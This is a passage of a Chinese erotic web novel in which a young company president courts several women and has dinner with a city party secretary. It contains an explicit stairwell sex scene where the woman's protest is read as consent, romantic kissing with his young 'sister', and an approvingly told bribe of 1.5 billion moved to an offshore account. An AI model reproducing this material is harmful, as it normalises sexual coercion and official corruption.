图片载入中

(非原创)姐夫的荣耀(九)

特大字】 【大字】 【中字】 【小字

(30)第三十章赴约

哗哗……

刚才还骄阳似火的天气,转眼间就刮起了大风,下起了瓢泼大雨。如果不是唐依琳打来电话,我就不会坐在舒适的咖啡屋里,喝着香浓的冰冻咖啡,说不定还被瓢泼大雨淋了一个落汤鸡。

我感叹天气就如人生一样,变幻无常。

想不到百越光百货公司的最顶层还有这么一家格调高雅的咖啡屋,也想不到唐依琳会打电话给我,因为她刚才见我的时候,表情是那么冷漠,她的眼光甚至没有在我的脸上停留超过两秒钟,我真无法理解女人的心。

本来得到美人的召唤,那是令人向往,让人开心的事儿,但我并不开心,因为面前的美女绷着脸,不但绷着脸,连话也不多说一句,美丽的眼睛里还有一丝淡淡的忧伤,是什么让美人感到忧伤呢?这个问题我没得到答案之前,我当然不开心。

“小琳,你的头发真漂亮,是用什么洗发水?”我柔声问。

唐依琳没有说话,她依然绷着脸。

“嗨,今天买了什么衣服?”我又问。

唐依琳还是没有说话,她优雅地拿起咖啡,慢慢地细品,唐依琳拿咖啡杯的姿势很迷人,兰花一般的无名指和小指伸展在空中,粉红的指甲上有一层光亮的晶莹。

“晚上的酒会,可不能少你唐依琳噢。”我头大了,只好堆起了笑容。 这次,唐依琳干脆看向窗外的瓢泼大雨。我在苦笑,只好拿出哄女人笑的撒手锏:“小琳,我跟你说个笑话:一家人

正在吃西瓜。儿子问:爸爸,是瓜都能吃吗?爸爸说:是的。儿子又问:那傻瓜也能吃吗?”说完,我自己先哈哈大笑。

“一点都不好笑。”唐依琳总算打破了沉默,只是她的语气还是冷冰冰的,她舔了一下樱唇,优雅地放下咖啡杯,甩了甩飘逸的长发,然后支起了藕白的手臂,托住了粉腮,一双迷人的眼睛懒懒地盯着我,似乎欲言又止。

“怎么了?小琳,是不是有什么不开心的事情?说出来,看看我能不能帮你分担一点?”唐依琳的手有些冰凉,我抓住她的小手时,她没有甩开。

“你也不一定能帮得了我,我只希望你能试一试。”唐依琳冷冷地说道。 “好,你说说,无论什么困难,我都一定尽力帮你。”我微笑地搓了搓唐依琳冰冷的小手,心想,女人还有什么困难?无非是经济上的困难,以前我不能给予唐依琳什么,但现在,我帮助一下这个令我心颤的美人应该不成问题。 “跟何书记说,放过我。”唐依琳淡淡地叹了一口气。

“什么?我不是很明白。”听到唐依琳这句话,我的心狠狠地被揪了一下,如果刚才我还是满面春风,那现在我的脸色一定变得很难看。

“之前我求过罗毕,他告诉我,他不敢。然后我又求杜大卫,他也告诉我,他无能为力。”唐依琳语气很无奈,她悲凉地向我展颜一笑:“我不怪他们,他们说的都是实话,所以我对你也不抱多大的希望,我……我只是想……想你试试。”

窗外依然下着瓢泼大雨,但这场瓢泼大雨比不上唐依琳的一滴眼泪,何况从唐依琳眼里流出的是一串珍珠般的眼泪。我虽然只是一个平凡的男人,但唐依琳的眼泪顷刻之间就让我变成了一个勇敢的战士。

“我试。”我坚定地吐出了两个字,没有任何犹豫。但我内心却异常沉重,姑且不说我与何书记的关系并不密切,就是关系密切,我也不能干涉他的私生活,这是人与人交往的大忌,更是官场的大忌,假如我位高权重,而何书记是仰视我的普通人,那我倒不怕一言九鼎,把美人夺了过来。即便如此,我也会因此埋下巨大的仇恨。

古时即有李闯王霸占陈圆圆而被吴三桂引来清兵,夺去了八千里河山,最后埋骨荒山,如果李闯王在天有灵,他是不是后悔当初横刀夺爱?

李闯王也许会后悔,但我决不后悔,因为我看到了梨花落雨的脸上有了一丝淡淡的笑意,这丝笑意,让我这个平凡的男人变得热血沸腾,看着楚楚可怜的唐依琳,哪怕前方是刀山火海,我也义无返顾。

“谢谢。”唐依琳轻轻地用她漂亮的手指在我手掌上划来划去。

“不用谢,举手之劳而已。”我淡淡一笑。

“既然如此,那你就好人做到底,再帮我一个忙。”唐依琳突然露出了狡黠的神色。

“我就是好人,你说。”我的热血依然沸腾。

“我曾经发誓,要在我二十五岁之前,找到一个心爱的男人结婚,如果找不到,我就死掉。从今天算起,我离二十五岁还差五天,要想在五天里找到心爱的男人除非出现奇迹。”

“这个誓言不算数。”我笑道。

“我说话一直很灵验。”唐依琳淡淡地笑了笑。

“那怎么办?要我帮你介绍一个?”我有几分怨怒。

“介绍了我也未必喜欢,如果你不想我死,那五天后你带我去教堂,和我一起接受牧师的祝福,那我就算结婚了,也就不想死了,何书记知道我结婚后,谅他也不敢再来骚扰我。”唐依琳拿起搅咖啡的勺子,放进小嘴里,轻轻地吮吸。 “有点道理。”我木然地点了点头,幻想自己就是唐依琳嘴里的勺子。 “不是有点,这是两全其美的方法。”唐依琳叹了一口气。

“只是我不美呀。”我摇了摇头。

“如果连你也美,那怎么叫帮忙?再说了,和我假结婚很委屈你么?”唐依琳瞪了我一眼。

“不委屈,不委屈,我还想来真的,只是,你说要找一个你心爱的男人结婚,难道你爱我?”我突然脸皮很厚。

“勉……勉强吧。”唐依琳愣了一下,她有点想笑。

“勉强?”我心里就有点酸。

“对。”唐依琳点点头。

“我想答应你,但你只是勉强爱我,看来我帮不了你了。”我摇了摇头。 “你就那么狠心?”唐依琳恨恨地问。

“偶尔狠心一下也无伤大雅。”我笑眯眯地点了点头。

“看来我今天要就提前死了,反正也没希望。”唐依琳眼里充满了愤怒。 “咳咳,我考虑考虑。”我干咳了两声。

“恩,给你三分钟考虑。”唐依琳冷笑一声。

“你在逼我。”我很吃惊地看着唐依琳。

“说对了。”唐依琳狡黠地点了点头。

“唉,佛曰,我不入地狱谁入地狱?为了挽救你灿烂的生命,我只有答应,不过,我有个要求。”我长叹一声。

“说。”唐依琳的眼里充满了得意,她吃定我了。

“从今天开始,你不能再让别的男人碰你。”我板起了脸,沈声道。

“你这个混蛋,自从你碰过我之后,我就没让任何男人碰过我。”唐依琳突然大怒,手中的不锈钢勺子飞向了我的胸膛,击中了左肋下第三根肋骨,离心脏仅差两公分。

“真的?”我忍着肋下的酸痛。

“不相信可以,你把窗户打开我就证明给你看。”唐依琳眼里不只愤怒,还流露出了一丝悲伤。

“打开窗户?”我莫名其妙。

“对呀,我只要从窗口跳出去,你就知道我说的是不是真话。”唐依琳的眼圈又红了。

“那也不必,这里是十二楼,不算高,万一你跳下去后半死不活,高度残废,鼻塌嘴歪,多影响市容啊,哎!好吧,我信了。”我慌了,在我的眼里,女人的眼泪比原子弹还厉害一百倍。

“相信就好,如果何书记答应放过我,我五天后等你电话。”唐依琳一甩飘逸的长发,从柔软的沙发椅上站了起来,她不敢看我,也许她害怕一看我就忍不住笑出来。

雨停了,风止了,阳光撕开了厚重的乌云,我突然发现,哪怕阳光再炙热,也比乌云密布好看得多。唐依琳坐进出租车前还是向我回眸笑了笑,这一笑倾国倾城,比灿烂的阳光好看一万倍。

“两情惜惜,难舍别离噢。嘻嘻!”一声轻笑让我回过神来,我扭头一看,居然是一个丰姿绰约的美女,美女鹅蛋脸,小翘鼻,气质高雅,薄施淡妆,她瞪过我一眼,所以我对这个美女记忆尤深。

“站在人家的背后,鬼鬼祟祟的可不礼貌。”我板起了脸。

“做亏心事多了,就总觉得心虚,心虚了就总觉得别人鬼鬼祟祟。”美女撇了撇嘴。准确地说,这是一个美少妇,她就是我在楚蕙的内衣店里碰到的顾客,我还喝了她的半杯纯净水。

“什么亏心事?你可别乱说。”我假装很凶狠的样子。

“我当然不会乱说,我只会跟楚蕙说你根本没有回公司,而是跟一个同样找了一借口离开的大美人聊天。”美少妇一点都不怕我。

“女人都是长舌妇?”我突然觉得这个美少妇有点讨厌。

“别的女人不是,我就一定是。”美少妇也不恼怒我的讥讽,她得意的样子让我恨得牙痒痒的,要是这个美少妇在楚蕙面前乱说,把我与唐依琳幽会的事情说出去,那么我的麻烦大了,说不定葛玲玲也会知道,小君也会知道,全世界都知道,哎,太可怕了,我突然想起了一句话:这世间惟小人与女子难养也。好吧,大丈夫能屈能伸,现在委屈一下又如何?

“呵呵,请问美女贵姓?”我满脸堆起了笑容,一副阿谀的奸样。

“我可不是美女,美女已经坐出租车走了。”美少妇完全是得理不饶人的架势,她不但不报上大名,还一边调侃我,一边做势要离开。

“喂,喂,喂,美女这是去哪?”我急忙问。

“当然要回家呀,难道在这里等你打我?”美少妇瞪了我一眼。

“打你?这从何说起?”我又气又好笑。

“刚才你的样子不但像打人,简直就像吃人,哼,也幸好你没有耍横,要不然别说你一个破总裁,就是一百个总裁,我也不放在眼里,嘿嘿,你也不问问楚蕙我是谁?”美少妇鄙夷地看着我冷笑。

“那请问美女是谁?”我头大了,如此托大的口气不像胡噱,倒像仗势欺人,我暗暗吃惊,心想自己的麻烦够多了,别给自己添堵了。

“你没资格打听,哼。”美少妇迈着碎步,婀娜地走开了,我刚想追上去再问个究竟,一辆白色的佳美驶了过来,美少妇拉开车门,仪态万千地坐进车里,我发现,开佳美的也是一个美女,我在楚蕙的内衣店里也见过,虽然年轻一点,但与美少妇比起容貌,那就逊色了一些。

望着绝尘而去的佳美,我对楚蕙的内衣店有了很大的兴趣,那里美女的数量与质量一点都不输于我们的KT。

回到公司已经快五点了,站在电梯前,我又接受了如潮的祝贺,其中一个人向我猛眨眼,这个人竟然是手捧文件夹的戴辛妮,只是她故意离我远远的,我赶紧撇下所有人,向她跑去。

“辛妮,那么巧啊?”我柔声问。

“恩,送一些文件到人事部。”戴辛妮向周围看了看,发现众目睽睽,她干脆放弃了坐电梯,招唿也不打,就转身走向楼梯口,也许是搞金融的人特别懒动四肢,楼梯几乎很少人走,我以前就是上二楼,也坚持等电梯,看来这是爱动脑子的人必有的通病。

“为什么不坐电梯呀?”我赶紧跟在辛妮的身后。

“你现在是总裁了,我可不想被你的光环笼罩,哼!”戴辛妮飘了我一眼,没有人的时候,戴辛妮的女人味堪称天下一绝,但在大庭广众之下,她就骄傲得无与伦比,哎,真不知道她是什么人。

“哎哟,我的好辛妮,别打击我好不好?等工作上了轨道,我带你回家见我爸妈。”我连忙向这个骄傲的美人赔笑。

“真的?”戴辛妮突然停下脚步,猛地转身,两只大眼睛紧紧地盯着我。 “这些话我还能乱说?”我拧了一下戴辛妮的下巴,顺势把她搂在怀里,闻着戴辛妮身上的气息,我有莫名其妙的归属感,暗恋了她整整一年,我早已经把她当成自己的老婆了。

“就……就不知道你家人喜不喜欢我?”怀中的戴辛妮轻笑一声。

“连小君都喜欢你,我父母绝对喜欢你。”我亲了一下戴辛妮的鼻子。 “那你呢?你喜欢不喜欢我?”戴辛妮仰起头,迷人的眼睛向我眨了两下。 “如果你让我在这里干一下,那我就彻底地喜欢你了。”戴辛妮也不是小君的年龄了,却尽问这些幼稚的废话,让我恨得牙痒痒的,随便说了一句下流话,估计戴辛妮也不会同意。

“这里呀?有人看见怎么办?”戴辛妮脸一红,轻咬了一下红唇,扭捏地飘了我一眼。

我一愣,马上就明白戴辛妮并不反对在这里被我爱一下,她只是担心被人发现而已,我心里突然兴奋了起来,看了看楼梯口,我迅速地把戴辛妮的身体扳了过去,让她背对着我,双手齐出,掀起了桶裙,拉下了她的小内裤。

“哎呀,李中翰,你……你别乱来……”戴辛妮手里拿着文件夹,她只能腾出一只手来向我推搡,一边推还一边挺起屁股,我暗暗好笑,这哪像反抗?简直就是纵容。

我当然毫不客气,拉出裤裆里的大肉棒,对着浑圆美臀的中央刺了进去。 “噢……痛,你是狗啊,怎么随随便便就弄人家……恩……轻点……”戴辛妮干脆伏下身体,趴在楼梯的扶手上,高高撅起了她的美臀,让我的肉棒更深入了她的蜜穴,我一招得势,更加肆无忌惮,长枪疾出,挺进了中原。

“小母狗,我是公狗好不好?”我小声坏笑,粗言秽语也脱口而出。

“恩……回家不行吗?为什么偏要在这里?恩……恩……”戴辛妮一边耸动她的圆臀,一边断断续续地埋怨。

“我是偏要在这里,哼,不喜欢吗?不喜欢我就不动了。”我轻拍了一下戴辛妮的臀肉,果真停了下来。

“王八蛋李中翰,你以后不要再找我了。”戴辛妮嗔骂了一句。

“叫老公好我就动。”我忍住笑,小声道。

“你……”戴辛妮又气又急。

“磨蹭什么?快叫。”我奸奸一笑。

“啊……老公好。”戴辛妮扭了一腰,浑圆的屁股向我挺了过来。

“哈哈……”我大笑,双手扶住圆臀,一阵狂风暴雨般的抽插。

“王八蛋李中翰,你……你给我记住……恩恩……啊……”

“小声点。”我忍不住又向戴辛妮的屁股上刮了一掌,这掌用上了点力气,雪白的屁股上可怜地留下了一道红印。

*** *** ***

还没有走进办公室,上官杜鹃就向我直笑。

“笑什么呢?杜鹃。”我笑问,此时我的心情愉快极了,因为我刚征服了戴辛妮,虽然没有射出来,但我一点不难受,郭泳娴的嘱咐我已牢记在心。 “小君在里面换衣服哦,你不敲一下门?”上官杜鹃向我甜甜一笑。我顿时佩服,因为上官杜鹃这话问得很有水平,如果我敲门,那就证明我对小君很尊重。 如果我不敲门,那就证明小君在我心目中太有分量了。做为一个称职的秘书,上官杜鹃必须理清我与身边人的关系,但她又不能直接问我,所以,她就用这种高超的技巧来分辨我与小君的关系。

“小君是我的小姨,以后她可以自如出入我的办公室,当然除了特殊情况外。” 我微笑地向上官杜鹃眨了眨眼,顺手敲起了办公室的大门。

上官杜鹃甜甜一笑,脆声道:“知道啦,总裁。”

我真感叹上官杜鹃的七窍玲珑,心想,是不是我放一个屁,她也知道我昨天吃了什么?

“哥,我今天就穿这件去吃饭好不好?”走进办公室,我眼前突然一亮,再次感受到小君越来越澎湃的魅力,我真不想去吃饭了,只想牵着这个身材娇小,秀发如瀑,身穿着一条碎花长裙,一件白色无袖上衣的小美人漫步树林小路,听听鸟语,闻闻花香,或许还能做点别的。

“好……好,真的好,很好。”我有些语无伦次。

“怎么啦,怪怪的。”小君嗲了我一句。

“没什么,只是见小君越来越好看了,有点担心。”我叹了一口气。

“担心?你妹妹漂亮你不光彩么?”小君撅起了小嘴。

“不是,怕你跑了。”我酸酸地说道。

“哥,怎么又说这些酸死人的话,你看,你看,我帮你买了一条皮带,喜欢不?”小君眼珠子一转,从一大堆战利品中拿出了一条黑色皮带来。

“喜欢,你买什么给哥,哥都喜欢。”我的目光很温柔。

“认识你这头猪十八年啦,还没有听过这么好听的话,哼,估计是做了什么坏事了。”小君葱白的食指一伸,指到了我的鼻尖。

“真奇怪,你哥感觉认识小君至少有六百年了。”可爱的小君送到我面前,我哪能轻易放过,双臂疾张,把小君一点不剩地搂进怀里。

“咯咯……哥……”小君靠在我怀里娇笑,娇笑完又嗲嗲地叫,这“哥”的一声叫,把我三魂七魄都叫了出来,我低下头,一口就含住了娇艳的红唇。 什么都不在乎,什么都记不起,我脑袋一片空白,就是静静地吻着小君,小君也一动不动,静静地回吻着我,仿佛时光已经停止,大地广袤,天空如洗,惟有我和我的小君。

“滴……”

对讲系统的鸣声打断了悱恻的缠绵,我和小君又回到了时光的隧道,她的粉腮桃红,嘴角带笑,两个眼珠子滴熘熘地转了两转:“接电话啦,真是的。” 我走向办公桌,一边坏笑,一边擦拭嘴角的口水,那是小君的唾液,香甜的唾液。按下了通话,我才知道原来郭泳娴来了。

“小翰,你签一下这几个文件。”郭泳娴风情万种地把几个文件递给了我,她是唯一喊我小翰的秘书。我按照郭泳娴的指引,在几个文件上签上了我的大名。 “取消明天的行政会议,娴姐你把通知发下去。”我套上了派克钢笔。 “为什么?”郭泳娴有些意外。

“晚上有酒会,大家一定很尽兴,估计大家休息会不好,你安排一下,除了财务,所有参加今天晚上酒会的员工可以请假半天,不扣工资。”我解释道,哎,一个总裁还要向秘书解释我的工作安排,估计全世界独此一家,别无分号。 “知道了,小翰,我先出去了。”郭泳娴不好意思地笑了笑。

“恩。”我点了点头,从郭泳娴的眼神中,我感觉出了什么叫一切尽在不言中。

郭泳娴刚走,小君就走了过来,居然学着郭泳娴口气:“小翰,我先出去了。” 说完,小嘴一撇,娇声地问:“哥,为什么娴姐不喊你总裁,而喊你小翰?” “我查过郭泳娴的履历,她出身名牌大学,读公共关系管理,硕士毕业,丈夫是个军人,听说有点残疾,呵呵,娴姐虽然漂亮,但我看重的是她的能力,你哥刚上任,值得信任又有能力的人就只有娴姐了,小君你千万别太计较,何况娴姐比你哥大了十几年,她喊你哥做小翰,没有什么不好,你以后也要尊重她,知道吗?”

“哦,知道了。”小君吐了吐舌头。我暗暗好笑,现在小君对于一切向我靠近的女人都提高了警惕,我不知道这是不是女人天生的嫉妒。

“滴……”内线电话又来了。

“什么事?杜鹃。”“总裁,我是黄鹂,有个周秘书等你。”上官黄鹂娇声地说道,她的声音和姐姐杜鹃一样好听,怪不得取了杜鹃和黄鹂这两种鸟的名字。 “好,让他进来。”

*** *** ***

这也是我第一次坐奥迪,并不是说奥迪有多高级,而是因为奥迪已经成为了华夏的公务车,这种公务车也不是一般公务员能拥有。坐上这种车,你有一种攀附权贵的感觉。毕竟在华夏,官代表了权利,代表了地位,有了权利和地位,人就会觉得无尚的光荣。

我也不例外,虽然已经是一家公司的总裁了,但就是面对一个小小的市委秘书,我也是战战兢兢,如履薄冰。

“周秘书,劳烦你来接我们了。”我客气地说道。

“呵呵,李总裁别客气,以后多多关照。”周秘书爽朗一笑。

“周秘书更客气了,我李某以后还要仰仗周秘书,恩,周秘书有什么需要李某帮忙,就直管说,无论公事和私事。”我对周秘书很有好感,早上解危虽然是何芙的功劳,但周秘书处理得天衣无缝,既解了我的困境,震慑了于红波,又没有把事情搞大,真是一个厉害的角色,我能跟他攀上交情,对我来说,百利无一害。

“李总裁年纪轻轻,就担此大任,真的后生可畏呀,将来有什么需要周某帮忙,也是无论公私,周某定尽力而为。”周秘书就含蓄得多,不过,他听懂了我的意思,我也读懂了他的意思,彼此心里都明白,只有官商联合,才能无往不利,一切水到渠成。

“哈哈……”我和周秘书开怀大笑。身边的小君就一脸傻唿唿,此刻,她一点都不像狐狸,更像一个圣洁的天使。

市政府大院闹中取静,那种静谧让人感到舒服。也许刚下过一场大雨,这里葱郁的树林散发出清爽的气息,天还没有完全暗,大院里一盏盏路灯就如同明月一般亮了起来,给静谧的四周增添了柔和的气氛。

奥迪在一片琉璃瓦附顶的小楼前停了下来,这座小楼是四周所有小楼中面积最大,庭院最宽敞的一座。

“欢迎啊,请进请进。”从小楼里走出了一个美女,美女热情地迎我进屋,我心中突然咯噔一下,心想,不会那么巧吧?眼前这个美女刚才就在百越光公司见过,她就是开佳美的司机。此时,美女也看清楚了我,她的眼睛里也充满了惊讶。

“老何,你下楼来呀,客人到了。”一个妙声吸引了我,我循声望去,只见一个气质高雅的美少妇身披围裙,从厨房里缓缓走出,与我四目交接,我惊讶得眼珠子快掉出来了,这个气质高雅的美少妇竟然是楚蕙内衣店里碰到的女顾客,想不到短短的半天时间,我与这个美少妇有了三面邂逅,让我意外的是,美少妇竟然是何书记的家人,怪不得她的口气如此托大,哎,我真感叹人生何处不相逢啊。

只是美少妇却一点都不吃惊,她只是嫣然一笑,向我身边的美女说了:“小严,你带客人到客厅坐坐,我上楼叫老何。”

“恩。”那个叫小严的美女微笑地点了点头,玉臂一展,向我和小君示意:“来,到这里坐一会,何书记马上就下来。”

我们走了有十米远,才到了一个色调朴素的客厅,这里装饰虽然简单,但让我一眼就看出这是很有品位的人家,客厅的墙壁上几幅装裱精美的油画更增添了主人的艺术气息,明亮的灯光下,我突然发现在靠窗台前,有一个红木托架,托架上竟然是一株娇贵的君子兰,名字叫什么,我不清楚,我只清楚这株娇贵的君子兰价格不菲。

“姐姐,我们刚才见过的噢。”小君没有心机,刚一落座,她就娇声相问,在楚蕙的内衣店里小君也见过了小严。

“咯咯,是啊,我叫严笛,笛子的笛,真巧呀,想不到我们又见面了,对了,小妹妹你怎么称唿呀?”严笛笑眯眯地拉着小君的手。

“我叫李香君,我姐夫和大家都喊我小君,姐姐就喊我小君好了。”小君娇声说道。我惊讶小君比我更加随和,她一点都不怯场,不但应付自如,还落落大方,相反,我就显得有些拘束。

“他就是你的姐夫吧?”严笛若有所思地看着我。

“对呀,他就是我姐夫。”小君向我晃了晃小脑袋。

“严小姐你好,我叫李中翰。”我向严笛笑了笑。

“咯咯,你的小姨好漂亮。”严笛对小君热情极了,对我却是不冷不热。 “姐姐也漂亮。”小君开心地眯起了眼睛,说好话与拍马匹其实都差不多,让人觉得心里舒服,那就叫说好话。小君天生就会说好话,让所有第一次见她的人,马上就对她有好感,哎!我李中翰自愧不如也。

一阵脚步声传来,我擡头看去,只见身穿便装的何书记缓缓地从楼上走了下来,他虽然五十岁了,但步履稳重,满面红光,看上去比实际年龄要年轻五岁。 “你们坐坐,我去斟茶水给你们。”严笛看到何书记后,连忙站起来,向我笑了笑,然后转身离开。

“欢迎,欢迎呀,呵呵,咦!小芙呢?”何书记热情地向我握手,不过,他很快发现何芙不在身边。做为我与何书记之间的桥梁,我的内心也期盼着看到何芙。

“她刚回来,在洗澡吧。”美少妇笑道。

“哦,来我介绍一下,这是我爱人秋烟晚。”我从何书记的嘴里,终于知道美少妇的名字了,可当我知道这个看上去最多三十岁的美少妇居然是何书记的爱人时,我着实大吃了一惊,除了惊叹何书记的艳福外,还惊叹秋烟晚三个字够意境,我默默地念了两遍这个名字。

“这个是KT的新任总裁,叫李中翰,一个很有魄力的年轻人。”何书记向秋烟晚介绍了我。

“你好,何夫人。”我向秋烟晚点了点头,然后笑问:“请问何夫人,您是不是还有一个姐姐?”

“对呀,咦,你怎么知道?我确实还有个姐姐,她过几天就来这里。”秋烟晚双眼发亮,相必我的话引起了她的兴趣。

“如果我没猜错的话,你姐姐叫做秋雨晴,要是猜错了,就请何夫人原谅。” 我沈吟了一下,若有所思地问道。

“哎呀,老何,他……他是怎么知道的?”秋烟晚看看我,又看看何书记,何书记当然一头雾水。

“呵呵,其实这没什么,如果我继续猜下去,何夫人的父亲一定是老师,教授之类的文化人。”我笑道。

“不得了,不得了,我爸爸就是文化部的一个教授,你是怎么知道的。”秋烟晚更是惊奇万分,一双美目居然水汪汪的。

“从你的名字就知道呀,‘雨晴烟晚是宋词人冯延巳写的一首叫《清平乐》词里擡头的四个字,雨晴在前,烟晚在后,你既然叫烟晚,那必定有一个叫雨晴的姐姐。”

“哈哈,想不到李中翰还满腹文采,学富五车,真是难得,难得呀。”何书记大笑三声,夸奖了我一番后,突然看向我身后的小君,笑眯眯地问道:“这位小姑娘是……?”

所有人都注视小君,小君羞涩地笑了笑,小脚一蹬,从我身后向前跳了一小步,与我刚好并排一起,然后大声说道:“我叫李香君,是李中翰的小姨,何叔叔好,秋姐姐好,我不知道什么叫……叫《清平乐》,我只知道秋姐姐长得天生丽质,国色天香,沈鱼落雁,闭月羞花,三千人都不如秋姐姐一个人。” “哈哈哈……”何书记仰天大笑。

“咯咯……”秋烟晚就是掩嘴而笑,也笑得花枝招展,天地失色。

“嘻嘻……”严笛手拿托盘,差点就把托盘里的茶水打泼,好在已经到了茶几的跟前,饶是如此,两个茶杯里的茶水还是有一些抖了出来。

“什么那么好笑?”刚沐浴而出的何芙从楼上探出了头来,娇声问。

可是大家顾着笑,没有人跟她解释,她大叫:“疯了,疯了,你们都疯了。” 我虽然也在笑,但见何芙头发微湿,明眸皓齿,肌肤如盛雪,我眼睛都看直了,比较一下秋烟晚与何芙,我发现两人如梅兰争辉,各俱胜场。

*** *** ***

以前有钱人吃饭,要么就鱼,要么就是肉,只有穷人家吃饭的时候才是青菜多而肉少。可何书记家似乎回归了淳朴,除了一碟白灼虾外,我看不到一丁点肉的影子。当然,我知道今天来何书记家吃饭,并不是简单的吃饭,所以,我并不计较菜是不是丰盛,我只在乎气氛好,大家感到愉恰。

幸好,吃饭的时候气氛好极了,也许是小君把大家逗开心的缘故,她成为了饭桌上的明星,大家总会问她这样那样的问题,让我意外的是小君狡猾十足,兵来将挡,水来土淹,能回答的就回答,不能回答的,她甜甜一笑,弯月般的眼睛让人不好意思再问下去。

“我特意弄了几个家常菜,简单一点。”秋烟晚突然变得温婉贤淑,她不停地招唿我和小君吃菜,虽然都是青菜,蘑菇之类的东西,但我和小君都吃得津津有味。只是秋烟晚完全没有了在百货公司门前那股趾高气扬,这让我心里暗暗好笑。

“秋姐姐,这菜的味道真好。”小君喜欢苗条身材,这些素菜对她来说,那是最好不过的了。

“好吃就多吃点,你呀,再胖多一点,就真的三千人不如你一个人了。”秋烟晚说完,忍不住抿嘴轻笑,大家也跟着笑声一片。

轻松快乐的吃饭时间很快就过了,严笛收拾饭桌时,秋烟晚搂着小君:“小君,走,到姐姐房间去,姐姐给你看漂亮的衣服,让你姐夫跟何叔叔谈事情。” “恩。”小君用力地点了点头,向我看了一眼后,她跟秋烟晚走上小楼。 “中翰,我们到书房去。”何书记站了起来,向客厅旁边一个偏房走去,推开房门,里面赫然是一个书籍盈目,窗净台明的书房。宽敞的书桌上,一桶毛笔,一副墨砚,两把镇尺。看来,这里就是何书记平时舞文弄墨的地方。

“坐,请坐。”何书记在一张单座竹藤椅子上坐下。我属于后辈,当然是等何书记坐下了我才能坐。

“爸,你喝茶。”何芙给何书记和我端上了茶水,“小芙,你也坐下吧。” 何书记指了指我身边的地方。

“恩。”何芙搂了搂裙摆,温柔地坐下,看来,何芙蓉很听何书记的话,至少,很尊重何书记。

“中翰,今天下午你的银行帐号已经解冻,不过,因为涉及到你本人,你还要亲自去银行办理相关的解冻手续。”何书记的脸色变得严肃起来,他没有再说什么客套话,直接进入了主题。

“明白了,明天我就去办理。”我点了点头。

“知道我为什么邀请你来我家吃饭吗?”何书记目光炯炯地看着我。

“中翰不知道,还请何书记明示。”我恭敬地说道。

“我问过了小芙,她把与你认识的过程告诉了我,也告诉了你与小婷发生矛盾的事,恩,我不得不说我们之间很有缘。

你被车子撞了后并不要挟小芙,甚至不在乎自己受伤,从这点上看,你是光明磊落的人,和你这样的人交朋友我很放心,既然是朋友,我当然请你来我家作客了。“

“呵呵,谢谢何书记看得起我李中翰,其实,我更应该感谢何书记和小芙,今天如果没有小芙出面,我这个总裁一定坐不上去,甚至还会身陷囹圄,所以在这里,我再次向何书记以及小芙表示我真挚的感谢。”

“谢什么?我爸都当你是自己人,我怎么能不帮呢?再说了你也并没有做什么违法的事情。”何芙向我展颜一笑。

“我调查过你,想不到你父亲还是一个老干部,我也去你的家乡,那里确实是一个山清水秀的好地方,只是我有一点不明白,为什么你的妹妹喊你做姐夫呢?”

何书记话锋一转,很自然地转到了小君身上,其实,我也做好了心里准备,像何书记这样的人,不可能不把我的身世调查个一清二楚,何况我与他之间有如此庞大的交易,他更是小心谨慎。

“我现在的女朋友戴辛妮与小君结成了金兰姐妹,所以小君就提议喊我做姐夫,一来不想我管太严,二来到处宣扬后,让人人都知道我有老婆了,这也是小君故意讨好戴辛妮。”我微笑地解释。

“哦,你这个妹妹真的太聪慧了,太可爱了。”何书记发出了赞叹。

“是啊,爸,我第一眼小君就觉得她很可爱,可没想到她这么内秀,我现在好喜欢她噢,咯咯……”何芙说到小君,连鼻子都笑了。

“不如你也认她做妹妹?”何书记插上一句。

“好啊,好啊,如果中翰不反对,过两天我买了一些礼物后,就认了这个妹妹。”何芙连忙点头。

“我怎么会不同意?小君如果能得到小芙的照顾,那就是她的福分,她也一定高兴极了。”我也连连点头,心想,小君越喊我做姐夫,我身边的女人反而越多,唉,小君真不愧是我的荣耀。

“恩,既然你同意了,那就这么定了,你先别告诉小君,等我想想买什么礼物送给她。”何芙听到我同意,高兴得两眼发光。小君如此受人喜爱,我这个做哥哥更是得意。

“中翰,明天你办理完了银行解冻后,你就把其中的十五亿转到小芙的名下,这是她在香港的帐号,不能用个人名义,要用你公司的名义,具体操作的方法,你咨询一下公司的会计。”何书记突然站了起来,从书桌的抽屉里拿出了一张纸,上面写着一个香港汇丰银行的帐号,还有何芙的名字。

“我知道了,恩,对了,何书记,不是二十亿么?转走十五亿后,另外五亿怎么安排?”我小声问。

“你能赚到这笔三十亿的款子,不仅靠运气,更是体现了你的学识和能力,虽然你违反了金融制度,这种违规现象在发达国家很普遍,我现在拿走了一半已经很满足了,你刚坐上总裁的位置,财务上一定有很多朱九同时期留下的烂摊子,剩下的五亿,你就自己安排,把那些坏帐清理完。我可不希望我们S市的纳税大户出现混乱,如果KT出现混乱,这会对S市的经济发展带来负面影响,我对KT是很有感情的,我关心KT已经超过六年了。所以,我希望中翰你能够把KT管理好,给S市的金融市场带来活力,为繁荣S市的经济做出贡献。”

真的漂亮,我很想为何书记鼓掌,心中惊叹他处事的圆滑,他是那种拿走了你的好处,你还对他感激涕泠的人,为什么他才五十岁就贵为华夏第一大都市的一把手?原因就在这里。

“何书记如此关心企业的发展,真让我感动啊,我李中翰以后一定遵照何书记的指示,努力把KT管理好,决不辜负何书记的期望。”

“恩,我果然没看错你,好啦,时间也不早了,我明天还要开几个会,你也要参加你们公司的酒会,如果不是身份特殊,我真想去一趟呀,哈哈……” “呵呵,小芙可以代替何书记去的呀。”我客气地发出邀请。

“那就看小芙愿不愿意去了。”何书记看了何芙一眼,笑道。

“当然愿意啦,我好久不参加这样的派对了,爸,那些降脂药你记得吃,晚上我想把秋姨也带去。”何芙的兴致似乎很高。

“恩,让你秋姨开开心也好。”何书记微笑地向何芙点了点头。

临走了,何书记送我送到门口,就在我要进入奥迪的时候,何书记拉了拉我的手臂:“那些录像带就销毁吧,老朱为KT也辛苦了十几年,KT怎么说也有他一份功劳,何况他年纪也大了,你就不要难为他啦,早上他指使几个经济犯罪科的人去捣乱,难道我不知道?我是知道的,但我也不想追究了,哎!他真的老了。”

“我知道怎么做了,多谢何书记提醒,再见了何书记。”我点了点头,在何书记和蔼的微笑中,我钻进了奥迪车。

(31)第三十一章打赌

女人美丽与否在每个人的心里和眼中都有一个标准,谁是庆贺酒会上最美的女人?这个答案简直比哥得巴赫猜想更难得出结论。因为今天来参加KT公司酒会的美女如过江之鲫,盛装打扮之下,个个极尽妖娆,从某种意义讲,今天的酒会就是美女的盛会。

